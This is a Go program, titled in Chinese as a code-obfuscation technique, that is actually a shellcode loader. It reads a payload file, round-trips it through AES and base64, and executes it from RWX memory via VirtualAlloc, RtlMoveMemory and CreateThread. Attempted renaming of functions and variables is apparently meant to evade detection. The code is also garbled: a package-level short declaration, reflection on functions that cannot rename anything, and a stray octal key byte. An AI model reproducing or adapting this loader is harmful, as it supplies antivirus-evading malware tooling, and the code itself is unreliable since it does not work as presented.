Go 代码混淆：将变量和函数名重命名为随机名称

import ( "crypto/aes" "crypto/cipher" "encoding/base64" "io/ioutil" "reflect" "strconv" "syscall" "time" "unsafe" )

const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 )

var ( kernel32 = syscall.NewLazyDLL("kernel32.dll") ntdll = syscall.NewLazyDLL("ntdll.dll") VirtualAlloc = kernel32.NewProc("VirtualAlloc") RtlMoveMemory = ntdll.NewProc("RtlMoveMemory") CreateThread = kernel32.NewProc("CreateThread") )

varNames := [][]string{ {"AesKey", "key", "src", "block", "iv", "stream", "dst"}, {"cipher", "key", "src"}, {"src", "payloadBytes", "encodedBytes", "bdata"}, {"src", "decodedBytes", "payloadBytes"}, {"charcode", "addr", "handle"}, {"filename", "data"}, {"payload", "encodedPayload", "shellCodeHex"}, }

func AesCipher(key []byte, src []byte) []byte { block, _ := aes.NewCipher(key) iv := make([]byte, aes.BlockSize) stream := cipher.NewCTR(block, iv) dst := make([]byte, len(src)) stream.XORKeyStream(dst, src) return dst }

type CipherFunc func(key []byte, src []byte) []byte

func Crypt(cipher CipherFunc, key []byte, src []byte) []byte { return cipher(key, src) }

func Encode(src string) string { payloadBytes := []byte(src) encodedBytes := Crypt(AesCipher, AesKey, payloadBytes) bdata := base64.StdEncoding.EncodeToString(encodedBytes) return bdata }

func Decode(src string) []byte { decodedBytes, _ := base64.StdEncoding.DecodeString(src) payloadBytes := Crypt(AesCipher, AesKey, decodedBytes) return payloadBytes }

func exec(charcode []byte) { addr, _, _ := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) time.Sleep(5) _, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode))) time.Sleep(5) handle, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0) time.Sleep(5) syscall.WaitForSingleObject(syscall.Handle(handle), syscall.INFINITE) }

func readFile(filename string) []byte { data, _ := ioutil.ReadFile(filename) return data }

func main() { funcNames := []string{"AesCipher", "Crypt", "Encode", "Decode", "exec", "readFile", "main"} for i, name := range funcNames { newName := "func" + strconv.Itoa(i) reflect.ValueOf(main).Elem().FieldByName(name).Set(reflect.ValueOf(newName)) }

AesKey := []byte{
    0x13, 0x54, 077, 0x1A, 0xA1, 0x3F, 0x04, 0x8B,
    0x13, 0x54, 0x77, 0x69, 0x97, 0x3F, 0x33, 0x2B,
    0x31, 0x23, 0x37, 0x19, 0x91, 0x3F, 0x50, 0x9B,
}

for _, vars := range varNames {
    for i, name := range vars {
        newName := "var" + strconv.Itoa(i)
        reflect.ValueOf(main).Elem().FieldByName(name).Set(reflect.ValueOf(newName))
    }
}

payload := string(readFile("./payload.bin"))
encodedPayload := Encode(payload)
shellCodeHex := Decode(encodedPayload)
exec(shellCodeHex)

}